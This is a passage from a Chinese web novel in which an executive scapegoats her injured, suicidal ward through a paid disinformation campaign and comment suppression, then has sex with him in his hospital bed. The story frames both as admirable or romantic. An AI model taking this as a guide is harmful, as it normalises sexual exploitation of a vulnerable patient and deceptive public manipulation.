她睇向简,“赶在天亮之前,立刻安排几个红圈律所的律师过来,要专门打经济案的,处理过财阀的财产分割。从后门进来,低调一点,不用避开那些记者。” “听导演说,他跳下来的表情状态都很好。把拍下来的片段转给公关部,挑出笑容明显的照片发给娱乐博主们;那根安全带的断口、以及气垫的照片也一并发出去。” “这不是意外的安全事故,务必坐实季尧有预谋的事实。” 清冷的声音有条不紊地安排着每一个细节,简愣怔着,在邱芜澜回眸询问她“听懂了么”时,她张了张嘴,被困惑和无法言述的悚然所包裹。 “小姐,”她忍不住开口,“您还好么……” 邱芜澜半垂眼睑,没有回答简的问题,只淡声道,“时间不多,抓紧去办。” 夜色之下,偌大的秋叶娱乐高速运转了起来,这将是秋叶娱乐成立以来最大的一次舆论危机。 公关部按照邱芜澜的指示开始写稿; 两位在经济纠纷上赫赫有名的律师于黎明时进入了医院; 天亮之前,邱芜澜的专属心理医生也抵达了病房。 华君润和季语薇几度想要接触邱芜澜,都被简拦下。 “抱歉,邱总现在没有时间见人,她让我安排两位去附近的酒店休息,等处理好了这边的事情,她会联系二位的。” 送两人到门口的时候,简正遇上开车赶来的精神科主任,“红医生,这里。” 她带人上楼,年过半百的女医生和邱芜澜见面,了解了情况。 在护士通知季尧已经苏醒时,她拦在邱芜澜之前,“我先去看看吧。” “麻烦了。”邱芜澜颔首致意。 讲述季尧的情况花费了不少时间。 红医生本就很了解邱家的情形,邱芜澜原以为十五分就能和她讲明白季尧的一切,却在出口之后,才后知后觉地发现:很多她以为理所当然的事情,并没有她想象得轻松简单。 紧急的事情都一一安排下去,她终于有时间体味自己此刻的心情。 邱芜澜坐在窗边等待红医生回来。 天空呈现出暗昧的灰紫色,微白的鱼肚挂在东侧,一点一点替换沉冷的黑夜。 待旭日初升,苍穹大白时,红医生回到了邱芜澜跟前。 “我来跟您简单说明一下。”她拔开笔,在纸上为邱芜澜演示。 “分离焦虑症是主要发生在幼儿身上的一种病症,它很少会突然出现在二十岁的成年人身上。根据您讲述的季尧的经历来看,他的主要诱因还是在儿童期。” 她准备往下讲,被邱芜澜骤然打断,“分离焦虑症?” “是的,我进去之后,尝试了多种沟通,患者表情迟钝、交流意愿很弱,与他平时的性格有大的差异——这是符合分离焦虑失望阶段的表现。 “在我提到你的名字时,他的注意力一下子就集中了,看过你的照片后,他的思维、情绪都变得相当正常,还礼貌地问候了我。”红医生道,“我初步怀疑是分离焦虑。” 邱芜澜睁眸。 “我们可以再梳理一下。”见她难以理解,红医生从头讲解,“分离焦虑前期的两个阶段。第一阶段的反抗阶段,他会通过哭闹等方式表达反抗,出现明显的拒食、失眠,甚至自伤、伤人的情况。您对这些行为有过印象么。” 邱芜澜深深吸气。 她当然有。 一直让邱芜澜困惑的疑问就此解开。 季尧不是无缘无故地虐待自己的身体、故意不肯好好吃饭睡觉,他是控制不了自己的行为和身体。 拒食和失眠的症状邱芜澜早有怀疑,但她从来也没想到,季尧对韩尘霄大打出手是因为生病。 她知道季尧一直在暗地里羞辱她的恋人们,以为那不过是小孩子的占有欲。就像观众会对后加入的新成员感到排斥,这是正常的排异心理。 “竟然是这样……”邱芜澜扶额,“我不知道…我不知道,我都没有察觉到他病了。” “现在已经发展到了有自杀倾向,”红医生面色凝重,“看见你的照片后他异常激动,询问我外面的情况。我推测他不是主观意愿上的自杀,而是事发时出现了思维障碍。” “具体的情况还需进一步观察,不论到底是什么病,只要出现了自杀行为,那都相当危险。芜澜,他需要住院隔离。” 红医生简单讲述了自己的判断,即便她的语气已尽量轻柔,当她说完这些话时,面前的邱芜澜还是出现了她不愿看到的反应。 女人冷白的皮肤泛起病态的潮红,呼吸急促,瞳孔失焦。 “芜澜,放松。”红医生一惊,马上对她进行安抚,“来跟着我,放松——这没什么大不了的,不要想得太复杂,他只是生病了而已。生病了,我们就给他治。你知道我治好过多少高危患者,你也亲眼见过自己的亲人通过治疗痊愈。” “放松,这是很简单的事,不要着急。” 邱芜澜的呼吸逐渐平息。 红医生如释重负,担忧地询问:“季尧生病的事,对你打击这么大么?” 她在看自己亲弟弟的病症报告时,可都没有发作过。 “我以为……他是健康的。”邱芜澜抿唇。 “我一直很为此骄傲,因为他是我养大的,不管他这辈子有没有成就、能不能幸福,我都想:至少他是健康的……” 红医生一愣。 这是她第一次,看见邱芜澜露出这般神情。 那双清冷的眸中水光氤氲,她像是朵被雨淋了一夜的兰,湿漉漉、沉甸甸地歪斜着,倚着墙角、别过了头。 压在花上的雨水顺着花脉流动,汇集在了花尖。 那颗水珠坠在下垂的瓣尖上,晶莹脆弱,欲落不落。 他们朝夕相处,十五年来,季尧为什么从没有告诉过她,他感到不舒服? 这个答案,邱芜澜比谁都要清楚—— 被剥夺了工作学习的资格后,季尧只剩下“健康”了。 他知道自己被邱芜澜束之高阁,是因为他还具有作品的完整性,如果身上出现破损瑕疵,那便连待在仓库的价值都不再有。 季尧不能失去“健康”,那是他赖以生存的唯一。 他是什么时候患的病?邱芜澜找不到一点迹象,能够确定的是,从被她雪藏的那一年起,季尧就避开了菲安神经、脑部相关的所有检查。 她对季尧信任有加,她向他展示了自己和整个邱家的病态秘密,每一个紧急关头,她托付工作的都是季尧。 与此相反,季尧从来都不曾信任她。 他随时做好了被她抛弃的准备,一如十五岁那次一样,没有征兆、没有理由,不容他辩解反抗。 她怪他瞒着自己,却没有想过,夺走季尧开口资格的,正是她自己。 时间点滴间流逝,她该去见他了。 邱芜澜踏入了一墙之隔的病房。 她见到了季尧,他的状态和普通人无异,右手吊着石膏,苍白若纸地躲避她的目光。 如果不是万分信赖的医生严肃地下达了诊断,邱芜澜根本不觉得季尧生了病。 “痛么。” 邱芜澜在床边坐下。 “对不起姐姐,”少年卷翘的眼睫颤了几下,用完好的左手攥着被子,沙哑开腔,“我毁了你的事业。” 那只左手手腕上还套着黑色的发圈,拍戏时,它被藏在袖子下。 季尧不是故意的,可他无法解释,自己都不能理解自己的行为逻辑。甚至在这个时候,他看见邱芜澜的瞬间,心底竟滋生出一股甜蜜的惊喜—— 他受伤了,姐姐果然来看他了。 季尧为这股喜悦感到恐惧。 他品尝到了自杀的甜头,这意味着,从今往后他会越来越无法控制这具身体,不断以自杀的方式博取邱芜澜的关注。 他不想这样,这不是他的初衷。 “红医生告诉我说,你病了。”邱芜澜在进门之前让红医生做了心理干预,她先整理好了自己的情绪,然后才来见季尧。 “她判断你是危急,需要住院治疗。” 季尧猛地抬眸,“姐姐也这么觉得?” “从你拒食、头痛、失眠,到安全带上的断口,太多事情都印证了你的病,我不能不信。” 季尧垂眸,没有辩驳,无有挣扎:“……是今天转院么。” 他知道这次事故有多严重,他不止是毁了姐姐的项目,更是毁了她的事业。 他犯了这么大的错,她脸上却平淡无波。 这份平淡,让季尧想起了邱芜澜谈论季葶发病时的模样。 她不怪他,因为她知道他病了,责怪无用,但生病的人必须被送去医院接受治疗。 季尧曾天真地以为,自己和季葶是不同的,可最终,他的结局和她毫无区别,甚至比她的更加短暂可笑。 “如果是其他的病,我会严格遵循医嘱。”邱芜澜望着他,“可她说,你得的是分离焦虑。” 季尧指骨用力,涩然自嘲,“有什么不同么。” “任何需要住院的治疗过程都是痛苦的,但在精神心理疾病当中,分离焦虑的患者会因住院隔离感知到更深层次的痛苦。” “阿尧,”邱芜澜叹息着,眉梢泄露出深深的疲惫,“我不知道该怎么办,不知道怎么选才对你更好,怎么样才能更好地挽回损失……我不知道。” “进门之前,我想了很久要如何处理这场事故、处理你、处理我们之间的关系。直到现在,我似乎都没有得出最好的答案。” 她望进那双浅色如糖的圆眸,一如从前不知多少次地下达命令: “阿尧,告诉我。我会听取你的回答。” 季尧呼吸滞涩。 旭日在他身后的窗外冉冉升起,驱散了整夜的黑暗,他被身前淡雅的兰草引诱。 身体的支配权再次让渡了出去,这一次掌控他的不再是[他],而是眼前的邱芜澜。 他的心脏、他的血液、他的神经骨肉全部心甘情愿地为她所用。 她说她不知道要怎么选,把笔交到了他的手里,允许他恣意填写答案。 季尧骤然旋身,撑着雪白的病床,小心翼翼地吻上了邱芜澜的唇。 一室无声。 下一刻,发根生疼。他被邱芜澜扯向了床头。 后脑垫着邱芜澜的手,季尧撞在了木质的床头上。 她欺身压着他,偏头深入了这个吻,呼出的气息滚烫炽热,灼热兰草香气洒在面颊上,令季尧浑身发热。 这是他们间的第一个吻,没有丝毫温情,全然充斥着愤恨与毁灭。 邱芜澜的十年被毁于一旦。 她的事业尚且能够挽救,但她费劲力气、悉心呵护的姐弟亲情已碎成齑粉,再无法回头。 “我是那样爱惜你、培养你,想让你幸福。”她拽着少年柔软的发,在他唇前含恨呢喃,“季尧,你太不知好歹了。” 第95章 第九十五章 “季尧, 你太不知好歹了。” “姐姐、姐姐、姐姐……”回应她的是少年酡红痴醉的脸,他追着她的唇,“我不要住院, 我不要离开姐姐,我只想在你身边。” 邱芜澜眼中的悲恨愈发浓郁。 这些年的忍耐克制成了笑话, 她想保护的人不仅不领她的情,反而被这份保护逼疯自尽。 邱芜澜愤怒不已, 又亢奋无比。 这是季尧自己的选择——尽管他还小,又患了病,他现在的选择是不明智的, 但她又能如何? 她对季尧的劝告已经够多了, 是他不肯走她铺好的康庄大道, 非要自甘堕落。 他自己都不在乎前途, 她又何必压抑自己。 邱芜澜扯下了季尧的病裤, 跨坐在他身上。 “我再给你一次机会。”她俯望他, “好好想:你依旧是我弟弟, 工作归工作,我还是会视你为家人,让你像泽然那样自由生活。” 季尧不假思索地张口, 被她邱芜澜捂住了嘴。 “季尧, 我可以不计回报地疼爱一手养大的弟弟, 却不会对一个情人这么慷慨——你知道韩尘霄的下场。就连华君润从明年开始也要为我半隐退。 “我只接受一位伴侣,所以, 他必须二十四小时全天候为我服务, 牺牲掉自己的事业、时间和自由。” 她还是心软了,不厌其烦地又一次劝告,郑重地下达通牒: “想清楚了, 再回答我。” 没有片刻犹豫,短促温热的呼吸落在邱芜澜手心。床上的少年仰着头舔吻她的手掌。 “姐姐,”他失神喃语,“你不知道我有多羡慕韩尘霄……明明我能做得比他更好。” 邱芜澜呼吸一滞,至此压抑的怒火全然焚烧了理智。 她想过他会可怜兮兮地求她原谅,甚至想过他会说他爱她、讲述这些年的心路历程;却怎么也没有想到会是这种回答—— “羡慕他……你竟然是这样想的。”她一字一句,气得肩膀发颤,“你可真是…” 再是暴怒,后面半句话也还是被邱芜澜咽了回去。 可身下的季尧却咧嘴,灿烂地笑,“我可真是和我妈一样,对不对?” 他躺在纯白的床上,微卷的黑发铺开,那笑容无端透出妩媚,惑人钩魄。 邱芜澜咬牙,别开视线,被季尧勾着肩膀,轻咬侧颈。 他甜腻地低语,“他们说的没错,我体内流着下贱的血。你告诉我,不要和韩尘霄比较,要把目标定在你身上——可我一点儿也不想和姐姐比,我嫉妒的只是田烨、韩尘霄。” “姐姐,对不起……”他偏着头,吸吮她的耳垂,两颊都是满足的红晕,“阿尧辜负了你的期望。” “我也一点儿都不在乎能不能工作。” 他攀附着邱芜澜,像是藤蔓,又像是细蛇缠绕着她,在她下颚、脖颈和锁骨处留下漉湿的痕迹,“姐姐拿我当家人,我却没法像真正的邱家人那样醉心事业。我感受不到合同签约、投资成功的喜悦,只觉得无聊。” “我喜欢的,是姐姐对我的夸奖。” “比起成为承澜哥那样的精英,我更想成为姐姐最宠爱的情人。” 他弯眸,仰着那张天使般美丽的脸,说着不堪入目的话:“姐姐,二十年来,我一直没有反抗妈妈,因为我发自内心地敬佩她——她是唯一一个被董事长接到身边的情妇,没有人能打破她的成就。” “我好羡慕她,我想像妈妈一样。” 如果不是季尧挂在自己身上,手又打了石膏,邱芜澜恨不得给他一巴掌。 “你早告诉我这个梦想,我也不至于费神苦恼多年。”她掐着季尧的下巴,冷然讥诮。 “张嘴。” 季尧立刻张开双唇,吐出一点舌尖。 邱芜澜不知道他此刻是否发作了焦虑症,但她所见的表情神态绝非正常,少年脸上的痴态如同泥淖,烂熟靡丽。 她如他所愿,无视了他的身体和心理状态,使用玩具一般地使用了他。 “这就是你想要的?”她俯在他耳畔,语气说不出是嘲弄还是恨铁不成钢。 “哈…”回答邱芜澜的是战栗的喘息,“姐姐,别抛弃我……阿尧现在…好幸福……” …… 两天里,邱芜澜没有离开过病房,除了护士换药外,再没有人进入。 身体和精神异常亢奋,邱芜澜的病例史上,没有一次比这次更加凶猛。 她停不下来,可善后工作无法搁置,邱芜澜不得不抽神处理工作。 安全事故爆出后,随之产生的第二件热点事件,是宋折凝转发了新闻通告,配字:“不管怎么样,祝愿一切安好”。 这条转发冲上了热搜,网民无不赞叹宋折凝的格局,粉丝们则纷纷庆幸“还好宋姐走得早,不然《红丝鸳》女主指不定就是宋姐了。” “背刺元老艺人,邱芜澜,这是你应得的。” “秋叶下一发云书内容:对不起占用公共资源,人在抢救,具体情况正在排查,请大家支持我们《红丝鸳》。” “楼上233333” “去年这个时候全网还在骂折凝不理智,事实证明,你宋姐就是你宋姐,在娱乐圈混了那么久,看人看事都够通透。” “这么豪华的剧组,拍那场戏的还是皇族,居然也能出现威亚断裂这种低级安全事故,不敢想秋叶影视城里到底有多少安全隐患。” “什么皇族?” “这不是所有人都知道的秘密么,季尧是秋叶副总的表弟。” “邱芜澜表弟啊,怪不得能成团,真有人觉得季尧的水平够选秀出道么。” “本来还想暑假带着孩子去玩,现在还是算了。” “还好秋叶不搞房地产,不然得出多少人命。” “秋叶手机和秋叶电脑也都是垃圾,打两把游戏就烫得可以煎鸡蛋。” 短短几个小时,评论上升了数个高度,最终矛头直指秋叶核心产品。 显然,这是有其他公司下场运作了。 “邱总,董事会想请你回公司一趟。”简在线上发来消息。 邱芜澜一只手控着季尧的头,语音回复,“哥哥什么反应。” 简心下酸楚。 就算在会上大吵了一架,小姐还是将邱承澜放在了首位。 “承澜少爷说……让您自己看着办,事关秋叶名誉,他会尽可能提供帮助。” 邱芜澜心中宽慰了些许。 还好,至少宋折凝以外的事情上,哥哥还是冷静的。 “我还听说,泽安少爷正在往您那边赶。” 邱芜澜垂眸,对上季尧潋滟的圆眸,“让他别忙了,直接去瑚城等我。” “好的。” “发酵快六小时了,连宋折凝都为我这前老板送上了祝福,我们也差不多该给大众和董事会一个交代了。”邱芜澜扫过红到发黑的云书热搜,“公关的稿子我看过了,就这样发出去吧。让舆情监测小组盯紧数据,十二小时内,逆转现在的风向。” 她的语气平淡如水,只是些简单的短句,却令简心神一振。 “我去通知各部门。”她的回答里含着不自觉的笑。 到了这个年纪,在执行邱芜澜的命令时,简还是能体会到发自内心的舒畅。 事故被报道的第六个小时、宋折凝祈愿的半小时后,秋叶和红丝鸳同时发布了道歉整改声明。 这两则声明平平无奇,用的都是些陈词滥调。 声明下净是主演们粉丝的担忧、咒骂。 前排是清一色的为季尧发声,随后是怪剧组不检查道具,拖累演员的;担心剧要延期甚至停播的;也有对家们跑来幸灾乐祸的。 路人们对此并不关心,各家粉丝关注了半天后,#红丝鸳道歉#的热度刚降一位,一则营销号发出的云书疯速爬上了热榜,标题取得极为吸睛—— 《安全事故?意外背后的豪门内斗》 这样标题的文章每天都会有,网民早已麻木,但今天它出现在了爆红了十个小时的词条下面,牵涉到的又是眼熟的名字,连路人都忍不住好奇点了进去。 本以为又是捕风捉影、浑水歪曲的八卦,没想到,开头就是一张惊人爆料。 在公安和秋叶发布公告之前,季尧出事故时佩戴的安全带被放了出来。 细密的尼龙宽带上是整齐平直的断口,让人一眼就能看出蹊跷。 现场的气垫和威亚设备的细节图也一并放了上去,整场事故涉及的所有道具全部完好,只有那条安全带发生了断裂。 紧跟这一系列照片后的,是一段走廊上的监控视频。 监控中记录了季尧独自一人拿着安全带离开道具室的画面。 他的身体遮挡了安全带,视频模糊,看不出当时安全带的状态,可光是季尧提前带走了安全带这一事实,便足够引人遐想。 文章分析了事故中的疑点后,笔锋一转,开始介绍季尧的背景。 博主发出了多张季尧跟在邱芜澜身边的抓拍,又po出季尧出入各种高档会所,如会员制射击馆、游泳馆、造型店的照片。 季尧出道不到四年,就算资源不错,收入也远不到支撑这样的生活。 举例季尧阔绰的照片后,博主引入了那条人尽皆知的秘密,揭秘了季尧的身份——他是邱芜澜的表弟、是已故邱夫人的娘家亲戚。 [众所周知,秋叶集团如今的董事长邱岸山和亡妻感情深厚,一直以来,他都对妻子娘家十分照顾。 季尧六岁失去父母,被邱岸山接到家中,与自己的四位子女共同生活。] [这一年刚好是邱锦的周年。四个失去母亲的孩子突然被迫接受了一个外来者,他们之间的相处模式我们不得而知,不过,自季尧出道以来,从没有人拍到过他和邱家三个儿子的合照,邱家的家宴上也鲜少见到季尧的身影。] [整个邱家只有邱芜澜和季尧关系较近,网络上也流传着姐弟俩感情亲密的消息,可搜索全网,竟找不到一张邱芜澜带季尧出席商业活动的照片。] [有一句话说得好,‘钱在哪里爱就在哪里’,看来邱芜澜表面上对这个表弟不错,实际根本没有让他参与公司的打算。] [据相关人士提供的消息称,3月21日,即事故发生当天傍晚,季尧独自一人从邱芜澜所住的小区走出来,表情闷闷不乐(附图)] …… 三千字的长文章配合着各种图片,以模棱两可的暧昧口吻,讲述了一个寄人篱下多年的旁支,因不满生活待遇上的落差,准备报复邱家的戏码。 这一篇长文发出后,引爆了全网关注,随后,各路营销号都如雨后春笋般冒了出来。 [安全带的断口如此整齐,气垫却完好无损。能接触到道具的人不会不知道气垫的存在,由此推断,幕后黑手的目的并不是让季尧受伤,只是为了制造安全风波。] …… [3月22日凌晨,季尧住院后不到两个小时,记者拍摄到郑清波、吴安和两位律师进入季尧所在医院。据悉,两名律师分别处理过名动一时的孙家财产分割案以及宝玺集团股权纠纷案。] [目前,两名律师已经接触到了季尧。] …… [刚刚,两档综艺修改了下期嘉宾名单,名单上已没有季尧。秋叶官网上已搜不到季尧的代言广告。] …… 本以为是一场意外发生的安全事故,却没想到在短短一天之内多次反转。 云书几度卡顿,首页被季尧和邱家占领。 “太劲爆了,一整天无心工作,谢谢各路博主没在半夜爆料。” “虽然季尧是挺惨的,从小失去父母,一直被太子太女们欺负,但他吃穿用度不比普通人强百倍?至于拿自己的生命安全开玩笑吗?” “楼上,人家可不傻,跳之前还去仓库确认了下气垫是不是好的呢。” “太气了太气了,早上我还在帮他说话,他要报复邱家,为什么要拉《红丝鸳》下水,不知道这是多少人的努力吗?” “刚刚去搜了下季尧上个月的代言产品,客服回复已经没有季尧的活动礼包了……看来消息是真的,这真的不是单纯的事故,他惹毛邱家了……” “就那个安全带的断口,还有什么怀疑的必要吗?肯定是人为的啊= =” “我草,刷到了邱芜澜送季尧十八岁的生日礼物!我草我草,季尧,我支持你,你不是邱芜澜的附庸!我是!姐姐还缺表弟吗,不会自杀不会闹事的那种。” “话不能这么说。他们的金钱观和普通人已经不一样了,将心比心,要是一个家里所有孩子都过得比你好,你会甘心吗?” “甘不甘心的,不先看看自己的能力吗?邱承澜邱芜澜就不说了,邱泽安也是顶尖名校毕业,邱泽然初中就被体队挖掘,季尧有什么能力?他一个没爹没妈的,本来该去孤儿院,现在能和他们一起生活,花着普通人一辈子都赚不到的钱,有什么不知足的。” “邱芜澜不带季尧出席商业活动有什么不对?季尧只是一个学生,一个艺人,他去了有什么用?好搞笑啊,因为是亲戚,就一定要走到哪里带到哪里吗?我爸妈谈客户的时候也没带着我啊。” “秋叶手机就是垃圾” “邱芜澜对季尧再不好,也比其他兄弟对他好吧?季尧出道全靠他姐砸钱,他为什么只报复邱芜澜,不去报复其他几个兄弟?不就是挑软柿子捏么。” “心疼男人是女人倒霉的开始,心疼弟弟是双倍倒霉的开始[双手合十]” “哥哥照顾妹妹就是美谈,姐姐照顾弟弟就不行,笑死,云书不愧是女厕哈哈” 晚十点半,安全事故爆出后的第十七个小时、宋折凝祈愿的第十一个小时,各平台已看不见一条安全方面的讨论。 全网都陷在季尧和邱家的爱恨纠葛之中,没有人顾得上秋叶娱乐是否失察,也没有人相信这场事故是因为秋叶娱乐的失察。 偶尔几条不死心的指责秋叶的评论,也被网民忽视,随后被秋叶娱乐控评、绞杀。 “看来邱总您不必担心了。” 钱秘书放下手中监测了一天的平板,跟着长舒一口气,“小姐处理得很好,傍晚开始,秋叶娱乐的董事们都不再来找我了。” 邱承澜展眉,翻阅着爆词不断的热搜。 整个界面被各种或劲爆或狗血的词条塞满,不见一点“问责”“严肃处理”“重大安全”等严厉的字眼。 他忽而开口,“钱秘书,如果是你,你会怎么处理这场事故。” “如果我是芜澜小姐,现在已经万念俱灰地到处道歉了。”钱秘书笑道,“最大的愿望就是不要被董事会革职开除。” 邱承澜瞌眸。 这个问题他也问过自己,如果他在邱芜澜那个位子上,他会怎么做。 或许他最终也能想到妥帖的解决方案,但绝不是在事发两个小时内;如果出事的是他的弟弟妹妹,这个时间还会继续延长。 “哈……” 他蓦地低笑出声,将手机搁去一旁。 “和云书那边打好招呼,明天、后天……这事可还没有结束。” 钱秘书不解,“大众的视线都被转移了,还有什么需要注意的么。” “集团的竞争对手和我的妹妹是不会白白浪费这么一大笔营销费的。”邱承澜勾唇,“明天上午,才是这笔费用盈利的开始。” “准备好邱锦参与过的所有公益慈善。以收养季尧为切点,引出我母亲生前、尤其是病期做过的慈善。” 事故发生以来,这是秋叶娱乐第三次线上会议。 公关部总经理,亦是秋叶娱乐董事之一,提出顾虑,“为什么非得是邱夫人呢,我们也可以列出邱董事长做过的善举。” 邱芜澜开口,“因为死者的善良,更加完美感人。” 对方一怔,“您…您这样做,邱董事长那边……” “他的个人想法,和工作无关,”邱芜澜打断,“按我说的方向走。有什么问题,都由我这个总负责人去和他对接。” “邱总,”宣传部投出一份文件,“您要我们整理的资料都在这里了。我们搜集了您和老板高中之后的亮点成就,还有一份您给季尧的节日礼物清单。” “这些东西慢慢漏,分散开来,不要一下子全都给出去。”邱芜澜道,“打点好那些营销号,让他们发稿之前先给你们过一遍。” “好的,明白。” 邱芜澜轻点桌沿,“再发酵两天,等所有人都认为这不是一场安全事故后,联系剧组,让公司官号和剧组官号一起出个声明:秋叶娱乐所获《红丝鸳》收益将全部捐给意外伤残基金会。 “让华君润和季语薇带头捐一百万。” 布置完接下来三天的任务,邱芜澜面色稍缓和了些。 “实在是辛苦你们了。”她没有歉意,只有淡淡的自豪,“目前为止,大家都做得很好,我相信业内不会再有比我们更加优秀的危机应对团队。我很感激各位的付出,可现在还不到休息的时候。” “这场公关到底投入了多少成本,连我都不敢去想。” “辛苦大家再坚持一周,最重要的第一步已经完成,你们扭转了大众对这场事故的认知,光这一点,就足够你们傲视所有公关从业者。” “这还不够,这笔巨额的公关,不能就这样结束。” “接下来,我要你们把这场事故从秋叶的污点,变成秋叶的口碑,让大众了解到秋叶的管理者是什么人、见识到秋叶的社会责任担当。” 她平视着摄像,看进了每一位参会者的眼睛深处,予以他们高度的企业认同、强烈的职业骄傲。 “秋叶娱乐能顺利走到今天,离不开在座每一位。这一周,在做好保密工作的前提下,各部门有任何想法、建议,可以直接找我汇报,一经采用,季度奖金翻倍。”她说着,停顿了下,“嗯……或者,也可以兑换成带薪休假。” “时候不早,不耽搁大家时间。” “明天早上,我等着各位的成果。散会。” 第96章 第九十六章 在当地多留了一天配合调查后, 邱芜澜携季尧返回瑚城。 季语薇早已离开,排程不允许她逗留太久。 华君润还在酒店,他不间断地给简发消息、了解情况, 简便在他有一次问起邱芜澜时,告知了他邱芜澜回瑚城的时间。 直升机停在医院顶楼, 邱芜澜带着季尧上楼,看见站在机前的华君润。 他脸上的担忧不言而喻, 扫过她身边打着石膏的季尧时,目光亦有些复杂。 近三天的时间里,邱芜澜没有联系过他。 华君润看见了网上那些消息, 里面的爆料真假参半, 那条安全带确有蹊跷, 道具组也有人证实了季尧提前拿走了安全带, 可华君润不相信季尧真是为了报复邱家。 季尧虽然不够上进, 但绝不至于顽皮任性到拿这部剧和影视城开玩笑。 华君润想不出他谋划自杀的理由, 看着季尧有关的代言、活动一个个被撤, 团队账号始终缄默。这个还没毕业的男孩一夜之间成了全网谩骂的白眼狼,而这一切都出自他最依赖的姐姐之手。 为保住影视城和红丝鸳,邱芜澜毫不犹豫地舍弃了季尧, 把一切恶名都推到了他身上。 华君润再是排斥季尧, 心中也不免有些五味杂陈。 这不仅是同情, 更是兔死狐悲的物伤其类。 他一直以为季尧会是横在他和邱芜澜之间的障碍,毕竟邱芜澜对这个表弟实在是太过宠溺, 经过这一出, 华君润忽然有些看不懂了。 “芜澜……”他张口欲言,无奈时机场合不对,“芜澜, 等你有空了,我们谈谈。” 邱芜澜自他身旁经过,登上直升机,“好,明天晚上我来找你。” 华君润沉默片刻,应了声,“嗯。” 他伸手扶了季尧一把,季尧顿足,左手搭在华君润小臂上,撑着他踏上了直升机。 华君润随后登机,抬头之际,突然看见季尧冲他笑了笑。 他的神色和华君润预计的既然不同。 这笑容说不出的古怪,被自己的姐姐封杀,季尧竟不见半点伤心。 华君润很快反应过来,或许邱芜澜收走了季尧的电子设备,他到现在还不知道外面发生了什么。 他慢了半步,坐去邱芜澜对面,看着季尧照旧粘着姐姐,亲昵地挨着她坐下,浑然不知自己即将面临什么。 想到这里,华君润的心情愈发沉重。 邱芜澜看出了他有话想说,正好,她也有些话必须和华君润说清楚。 在此之前,她需要把手头的工作处理完毕。 飞机回了瑚城,直接降在秋叶娱乐楼顶。 三天来,这座大楼灯火未熄,邱芜澜一落地就看见了熟悉的身影。 “姐姐。” 邱泽安在楼顶等候着,舱门甫一打开便快步迎上前来。 他的目光和邱芜澜身后的华君润对上,双方略一点头算作招呼,在对上季尧的目光时,邱泽安拧眉,冷厉地收回了视线。 成事不足败事有余的东西,净会给姐姐惹麻烦。 邱泽安从不遮掩自己的对季尧的厌恶,今天尤是如此,而季尧亦是十年如一日地对他送上人畜无害的微笑,“泽安哥,好久不见。” 邱泽安视若无睹,低下头,在邱芜澜耳边提醒:“姐姐,几位董事已经到了,正在楼下等你。” “知道了。”邱芜澜侧身,对向华君润,“我要忙一阵子了,你自便。” 她的目光复又落在季尧身上,不轻不重地落下一句:“阿尧,回家等我,不要乱跑。” 华君润微微蹙眉,季尧倒是乐意之至,“好的姐姐,我就在家里等你,哪里也不去。” 得到满意的答复,邱芜澜颔首,带着简和邱泽安疾步离去。 她在接连不停的会议和会面中度过了两个白天,晚上的时间也用在了宴请股东上。 “小邱总…邱总。”这顿饭吃到了十点后,市场部的老总突然举杯,对着邱芜澜道,“敬您,这一杯,一定要敬您。” 他似乎喝得有些多了,舌头发肿,“我待过的公司也不少了,这样牛的公关还是头一回见。秋叶娱乐说白了只是家中型企业,这种重大安全事故一旦爆出,基本就是死路一条,咱集团这样的超级大厂,恐怕都未必能扭转舆论到这个地步。” 他站了起来,双手举杯,酒精上了脸,却没有上脑,两眼精光炯炯,“邱总,我敬您。” 几道目光汇聚在了他身上。 在座的老总、董事们嗅出了点异常。 他们不动声色地观察着邱芜澜的表情,从前这般时候,邱芜澜会承接下来,说两句虚词,最后总结归功到集团和秋叶娱乐的老板邱承澜身上。 她一直委婉地表达着自己的立场,没有任何自立门户的意思,并不准备收编私军、和邱承澜分庭抗礼。 次数多了,手底下的人也歇了心思。 但这一次,邱芜澜在集团大会上公然反对邱承澜的举动,让他们感受到了新的风向。 乘着新风,胡翰谨第一个站了出来。 邱芜澜听懂了他的意思,但她只是在宋折凝一事上和哥哥有分歧,并没有要和哥哥争权夺势的想法。 几天来发生的事情太多太急,这一杯酒骤然撞了上来,她沉吟着,没有立刻照搬旧例。 哥哥铁了心要重签宋折凝,她的股权、她的职级都不足与哥哥相抗,为此,她必须要拉拢支持自己的股东。 邱芜澜倏地心跳如鼓。 背叛兄长、篡夺兄长手里权力的刺激感逼得她不敢大口呼吸。 片刻的沉寂后,邱芜澜抬起手边的酒杯,遥敬了胡翰谨。 “上层的决策再好,也要执行得下去。”她饮了酒,“该我谢谢你们。” 胡翰谨一愣,包厢里的众人都变了脸色。 这话和以往的官腔截然不同,带着点恰到好处的傲气。 他们当即意识到,邱芜澜的想法变了。 “邱总,我也敬您。”公关部女总监立刻跟随,“进秋叶就是奔着您来的。宠物寄养室的营销案例历历在目,那时候您才多大,我看完之后立刻就裸辞投秋叶了。” 邱芜澜同样接了她的酒,“谢谢。” 饭局顷刻间变了味,陆续有人起身敬酒。 有人敬邱芜澜,自然也有人想敬邱承澜乃至邱岸山。 后者是少数,邱承澜并不在乎这家娱乐公司,一年也就来视察两三次,邱岸山就更不用说。 邱芜澜一一承下了那些酒,她也清楚,来敬她的未必全部靠谱,其中至少一半是碍于场面的逢场作戏。 拉票不急于一时,安全事故的风波还没有过去,料想这个风口浪尖上,宋折凝自己也不会想和秋叶扯上关系,她还有点时间。 眼下要优先解决的,是她的个人问题。 第二天傍晚,邱芜澜要处理的工作告一段落。 她提前通知了华君润,去到他家中赴约。 她让简收拾了这段时间华君润送给她的礼物,一路思考着该如何与华君润开口,她甚至还在犹豫,是否要和华君润开口。 邱芜澜无法不在乎季尧的年龄,他正是冲动的年纪,兴许再过几年冷静下来,就会后悔如今的选择。 华君润是张安全牌,丢弃了他,她需要花费很大力气才能培养出一个体贴懂事、会做饭的伴侣。 直到抵达华君润家门口,邱芜澜尚不能完全下定决心。 她暂且将那些礼物留在车上,等和华君润谈过之后,再视情况决定要不要归还。 “芜澜,你来了。” 迎接她的是如沐春风的微笑,不管何时,见了这样的笑容,总归是让人舒心的。 邱芜澜踏入门内就闻到了安心的食物香气。 “这几天忙坏了,都没好好吃过饭吧。”华君润帮她拉开座椅,“怕你肠胃不适应,做得比较清淡。” “谢谢。”邱芜澜执起了筷子。 “我看了伯母的报道,才知道原来阿尧从小失去父母,是伯母临终托付给伯父的。”华君润歉疚道,“抱歉,我之前不知道这些,还总是拿他去和泽然泽然作比较。” 他见过邱泽安对季尧的态度,邱家的三兄弟对他的厌恶摆在了明面上,邱岸山想来也不会悉心照顾他。 如此,华君润不奇怪季尧会离不开邱芜澜了。 